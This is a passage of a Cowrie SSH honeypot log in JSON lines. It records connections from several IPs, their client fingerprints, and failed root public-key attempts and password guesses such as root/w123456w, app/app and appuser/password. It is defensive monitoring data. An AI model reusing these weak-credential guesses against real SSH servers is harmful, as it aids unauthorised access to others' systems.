AAAAB3NzaC1yc2EAAAABIwAAAgEA1TmvgJlc0dQgsajM/gj7YF9jYKmGq+1gu3Z9F8s7GatTAwA1CqMdcRzgxiN/WFNSQ7Vz3HuW1KByE0TQs4tB7d88o8o+OaPRIEHWM+8HIbMT9mgiy/5zYrVpRqRskw9ehm2eHbgoVj5/m+KGGrM3aE/m+qplsnbRHjK2hoLtqT1nNL6RNe88IQn7UKKDmkDPm0hJdXeR+6skp2J2Ba1y5htnKqArDdgMQmt66+8ZXdxCIjVpN6G2lzTjXswNDQYx/nWT9fXqSUTlxgu+s3fqneGKYKTqIgdELdrCw3gsdI92V4HA8CJeEwYcLDIwvqefARex2im8ex8zcZkiFo1ZG97A4RV5rglq5tXkU/lEyC/7KOzYu6g8BYjPXDvkSnQ9GimuhlaiWSahhPauOhfObW66S0tOEa08gVn+bqi6stPHQEwnExeOb+i50H1Yft7g02DR2lRv5veBRjrYzoZqQuFAb+kBsXhZe/b7Ul+USFVaaYRbjnmGlPvFJIzBD9yVI7f4hM3SbJem9GNFQG7WS932c6iRqxcm7uIlgwqpXzpTuRwuA64fcxdlflcX0h2EYHsroNPHwcoJL2PwvaAb5ZUK0P6YiKc+vXmPQc1E5lPhZ62QHl0C/XM9aVaOEsB8mwbl++SlRwLYyPQaE1iIjIVSQcyWeQGpx2IeUk0KHDU=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9a:59:9c:0e:c2:23:91:1e:f9:02:51:14:ad:31:a0:b0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:04:09.552902Z","src_ip":"89.163.145.38","session":"9ee04a224563","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9a:59:9c:0e:c2:23:91:1e:f9:02:51:14:ad:31:a0:b0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAgEA1TmvgJlc0dQgsajM/gj7YF9jYKmGq+1gu3Z9F8s7GatTAwA1CqMdcRzgxiN/WFNSQ7Vz3HuW1KByE0TQs4tB7d88o8o+OaPRIEHWM+8HIbMT9mgiy/5zYrVpRqRskw9ehm2eHbgoVj5/m+KGGrM3aE/m+qplsnbRHjK2hoLtqT1nNL6RNe88IQn7UKKDmkDPm0hJdXeR+6skp2J2Ba1y5htnKqArDdgMQmt66+8ZXdxCIjVpN6G2lzTjXswNDQYx/nWT9fXqSUTlxgu+s3fqneGKYKTqIgdELdrCw3gsdI92V4HA8CJeEwYcLDIwvqefARex2im8ex8zcZkiFo1ZG97A4RV5rglq5tXkU/lEyC/7KOzYu6g8BYjPXDvkSnQ9GimuhlaiWSahhPauOhfObW66S0tOEa08gVn+bqi6stPHQEwnExeOb+i50H1Yft7g02DR2lRv5veBRjrYzoZqQuFAb+kBsXhZe/b7Ul+USFVaaYRbjnmGlPvFJIzBD9yVI7f4hM3SbJem9GNFQG7WS932c6iRqxcm7uIlgwqpXzpTuRwuA64fcxdlflcX0h2EYHsroNPHwcoJL2PwvaAb5ZUK0P6YiKc+vXmPQc1E5lPhZ62QHl0C/XM9aVaOEsB8mwbl++SlRwLYyPQaE1iIjIVSQcyWeQGpx2IeUk0KHDU=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:04:09.556885Z","src_ip":"89.163.145.38","session":"9ee04a224563","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c6:8a:a6:1b:06:34:02:15:90:36:50:fa:14:e8:59:c6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAqux6YT0oGyPUNxWih80viK8pl17q7BJb45pt0zxZR/2oQf07sGN5GiTDNM8o06Sbih/4VV6szx6co/C3MlbYH6z/qZtJGiHJ+9evw8JEF2l8TXEGBu3ylDoMIHpeq7c1DMtnJj7bKNf3VyS8fxDuwM4hXXQWCONeCOnkG1BNlbT3zplO+g8xuCpuFZY3lmlYtecHhrtVBZMCeYN6gX+6KzXA40yTL+q+gxV5IqgMc3QvPtoBkHwi3lWU7p/UDztLUEYYW4h+JlK6h3ChyYwouXaA64FINIpEF2wK1veVwI4SmgeJQhGGynEB6JT9ceuooLg18+fGOhCa5R7EoG3ifQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c6:8a:a6:1b:06:34:02:15:90:36:50:fa:14:e8:59:c6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:04:09.645000Z","src_ip":"89.163.145.38","session":"9ee04a224563","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c6:8a:a6:1b:06:34:02:15:90:36:50:fa:14:e8:59:c6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAqux6YT0oGyPUNxWih80viK8pl17q7BJb45pt0zxZR/2oQf07sGN5GiTDNM8o06Sbih/4VV6szx6co/C3MlbYH6z/qZtJGiHJ+9evw8JEF2l8TXEGBu3ylDoMIHpeq7c1DMtnJj7bKNf3VyS8fxDuwM4hXXQWCONeCOnkG1BNlbT3zplO+g8xuCpuFZY3lmlYtecHhrtVBZMCeYN6gX+6KzXA40yTL+q+gxV5IqgMc3QvPtoBkHwi3lWU7p/UDztLUEYYW4h+JlK6h3ChyYwouXaA64FINIpEF2wK1veVwI4SmgeJQhGGynEB6JT9ceuooLg18+fGOhCa5R7EoG3ifQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:04:09.647947Z","src_ip":"89.163.145.38","session":"9ee04a224563","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"13:02:5c:32:a6:b7:1a:01:ee:63:a1:a1:b5:11:dc:ef","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCZ0oVSfxnXF8DUuqjjG3QnAqZTaCMrMKk1j15OMscpdUnP+uvnu07NUlYkgdFbumY4HZnhN3Mrgc0diE8j1u8oiODKJAodxvi1iUqLm88/aMCYGWxooA3JnI8sItOcoI5uWpzNavjsZx9bSshM62N745iijXl5r59rdla6YAmBkzjvmwWbPgC6TSwIx1XMQAsiEGIF2ehYoUWFAXF45yPm5EsP3cxOcxYoqA08b/X4E1ryUA/fkB0ThY8+RGGH69kLglsLzuN2VePWXFxlEH5ElCdJELR5f4ZDHwTzMdPUhE44qYIqqjWZS1/7ZkVP0smXGMXiaremJAti9Q/JFHUR","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 13:02:5c:32:a6:b7:1a:01:ee:63:a1:a1:b5:11:dc:ef","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:04:09.735678Z","src_ip":"89.163.145.38","session":"9ee04a224563","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"13:02:5c:32:a6:b7:1a:01:ee:63:a1:a1:b5:11:dc:ef","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCZ0oVSfxnXF8DUuqjjG3QnAqZTaCMrMKk1j15OMscpdUnP+uvnu07NUlYkgdFbumY4HZnhN3Mrgc0diE8j1u8oiODKJAodxvi1iUqLm88/aMCYGWxooA3JnI8sItOcoI5uWpzNavjsZx9bSshM62N745iijXl5r59rdla6YAmBkzjvmwWbPgC6TSwIx1XMQAsiEGIF2ehYoUWFAXF45yPm5EsP3cxOcxYoqA08b/X4E1ryUA/fkB0ThY8+RGGH69kLglsLzuN2VePWXFxlEH5ElCdJELR5f4ZDHwTzMdPUhE44qYIqqjWZS1/7ZkVP0smXGMXiaremJAti9Q/JFHUR","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:04:09.738842Z","src_ip":"89.163.145.38","session":"9ee04a224563","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"95:14:ca:e8:e8:82:38:3a:4e:79:b1:57:04:9b:aa:68","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAgEAwJ3pMj601Cdq+1628ggVHbK6heXz9gZN38XX3jhUfDl363rRRD1NZL4EDicnnzs3JCE+we4YDA4E5/0faljivHZKQDwbnjDYnE6njsmHBOCrg62gHSuW5oywZ4oxvYnePLs64iRl8UTZkc+OYkjh98/57eFiEJ/9VEhGCcGtDWm8xjeTA1DCbcDadrJhC2d91mYAATIORZQmdHSOtZmyzwIbxJ+8lG7MRPb2MkyjjDwMT0f4P6RkP9uotKRCqLm9UA2ws2XLFe8pSeQSNpbHmNuKTQnOXTj2/fHyKSxXFLoDdSKp9hituQWJvQiinKrc7OoGMvWSjjGaMZepttNRU8IuOKiDW3OmZEIz6NO7atDrSHy/BfI+fEfN6/2K8NuSPDvGeetvBx4T/6RJOpp0Y4uN3T3jHApLDpUgBi7x62YB2JRxjBOQLC8fHTQjdglHyP4+DX2/QkmYL6XAJer8XoFmGXY5h6CK7DK45+eOxWKfWzJMGsJInh8uCNM1TEQsmR3G75LzFS56RTdJszjbSO5lB1i/Oxba17ldc1aXWK/7Cc0/Wbch43OrTIvC1UMOptfX81qMXvl+IElFffAM+wtXlQTYzvxs9RADn6rTiw0dSkHxS7B7JnP40fhPp84YlFtAt7iOJUXiJBfPfqNQXukDFGUJXFIorRzWfHxaVw8=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 95:14:ca:e8:e8:82:38:3a:4e:79:b1:57:04:9b:aa:68","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:04:09.826360Z","src_ip":"89.163.145.38","session":"9ee04a224563","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"95:14:ca:e8:e8:82:38:3a:4e:79:b1:57:04:9b:aa:68","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAgEAwJ3pMj601Cdq+1628ggVHbK6heXz9gZN38XX3jhUfDl363rRRD1NZL4EDicnnzs3JCE+we4YDA4E5/0faljivHZKQDwbnjDYnE6njsmHBOCrg62gHSuW5oywZ4oxvYnePLs64iRl8UTZkc+OYkjh98/57eFiEJ/9VEhGCcGtDWm8xjeTA1DCbcDadrJhC2d91mYAATIORZQmdHSOtZmyzwIbxJ+8lG7MRPb2MkyjjDwMT0f4P6RkP9uotKRCqLm9UA2ws2XLFe8pSeQSNpbHmNuKTQnOXTj2/fHyKSxXFLoDdSKp9hituQWJvQiinKrc7OoGMvWSjjGaMZepttNRU8IuOKiDW3OmZEIz6NO7atDrSHy/BfI+fEfN6/2K8NuSPDvGeetvBx4T/6RJOpp0Y4uN3T3jHApLDpUgBi7x62YB2JRxjBOQLC8fHTQjdglHyP4+DX2/QkmYL6XAJer8XoFmGXY5h6CK7DK45+eOxWKfWzJMGsJInh8uCNM1TEQsmR3G75LzFS56RTdJszjbSO5lB1i/Oxba17ldc1aXWK/7Cc0/Wbch43OrTIvC1UMOptfX81qMXvl+IElFffAM+wtXlQTYzvxs9RADn6rTiw0dSkHxS7B7JnP40fhPp84YlFtAt7iOJUXiJBfPfqNQXukDFGUJXFIorRzWfHxaVw8=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:04:09.830017Z","src_ip":"89.163.145.38","session":"9ee04a224563","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:04:09.919698Z","src_ip":"89.163.145.38","session":"9ee04a224563","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":36380,"dst_ip":"159.203.135.109","dst_port":22,"session":"eaac9ee1fb47","protocol":"ssh","message":"New connection: 91.92.42.133:36380 (159.203.135.109:22) [session: eaac9ee1fb47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:04:14.539636Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:04:14.883821Z","src_ip":"91.92.42.133","session":"eaac9ee1fb47","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:04:14.886473Z","src_ip":"91.92.42.133","session":"eaac9ee1fb47","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.140.193.156","src_port":54924,"dst_ip":"10.17.0.5","dst_port":22,"session":"27226393692d","protocol":"ssh","message":"New connection: 45.140.193.156:54924 (10.17.0.5:22) [session: 27226393692d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:04:15.248968Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:04:15.254828Z","src_ip":"45.140.193.156","session":"27226393692d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:04:15.370075Z","src_ip":"45.140.193.156","session":"27226393692d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"w123456w","message":"login attempt [root/w123456w] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:04:15.860539Z","src_ip":"45.140.193.156","session":"27226393692d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"app","message":"login attempt [app/app] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:04:16.101580Z","src_ip":"91.92.42.133","session":"eaac9ee1fb47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:04:16.980197Z","src_ip":"45.140.193.156","session":"27226393692d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:04:17.188218Z","src_ip":"91.92.42.133","session":"eaac9ee1fb47","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":33512,"dst_ip":"159.203.135.109","dst_port":22,"session":"c9f8277cc073","protocol":"ssh","message":"New connection: 91.92.42.133:33512 (159.203.135.109:22) [session: c9f8277cc073]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:04:22.696901Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:04:22.886958Z","src_ip":"91.92.42.133","session":"c9f8277cc073","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:04:22.889771Z","src_ip":"91.92.42.133","session":"c9f8277cc073","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amin","password":"amin","message":"login attempt [amin/amin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:04:23.408437Z","src_ip":"91.92.42.133","session":"c9f8277cc073","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:04:24.645365Z","src_ip":"91.92.42.133","session":"c9f8277cc073","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":44392,"dst_ip":"159.203.135.109","dst_port":22,"session":"7f4c0479da83","protocol":"ssh","message":"New connection: 91.92.42.133:44392 (159.203.135.109:22) [session: 7f4c0479da83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:04:29.998809Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:04:30.226264Z","src_ip":"91.92.42.133","session":"7f4c0479da83","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:04:30.229965Z","src_ip":"91.92.42.133","session":"7f4c0479da83","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"******","message":"login attempt [root/******] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:04:31.889815Z","src_ip":"91.92.42.133","session":"7f4c0479da83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:04:33.585127Z","src_ip":"91.92.42.133","session":"7f4c0479da83","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":33226,"dst_ip":"159.203.135.109","dst_port":22,"session":"68fe0234e765","protocol":"ssh","message":"New connection: 91.92.42.133:33226 (159.203.135.109:22) [session: 68fe0234e765]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:04:37.205029Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:04:37.708747Z","src_ip":"91.92.42.133","session":"68fe0234e765","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:04:37.711940Z","src_ip":"91.92.42.133","session":"68fe0234e765","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"appuser","password":"password","message":"login attempt [appuser/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:04:39.907127Z","src_ip":"91.92.42.133","session":"68fe0234e765","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"117.121.214.50","src_port":57686,"dst_ip":"10.17.0.5","dst_port":22,"session":"53550cca3d34","protocol":"ssh","message":"New connection: 117.121.214.50:57686 (10.17.0.5:22) [session: 53550cca3d34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:04:40.750793Z"}
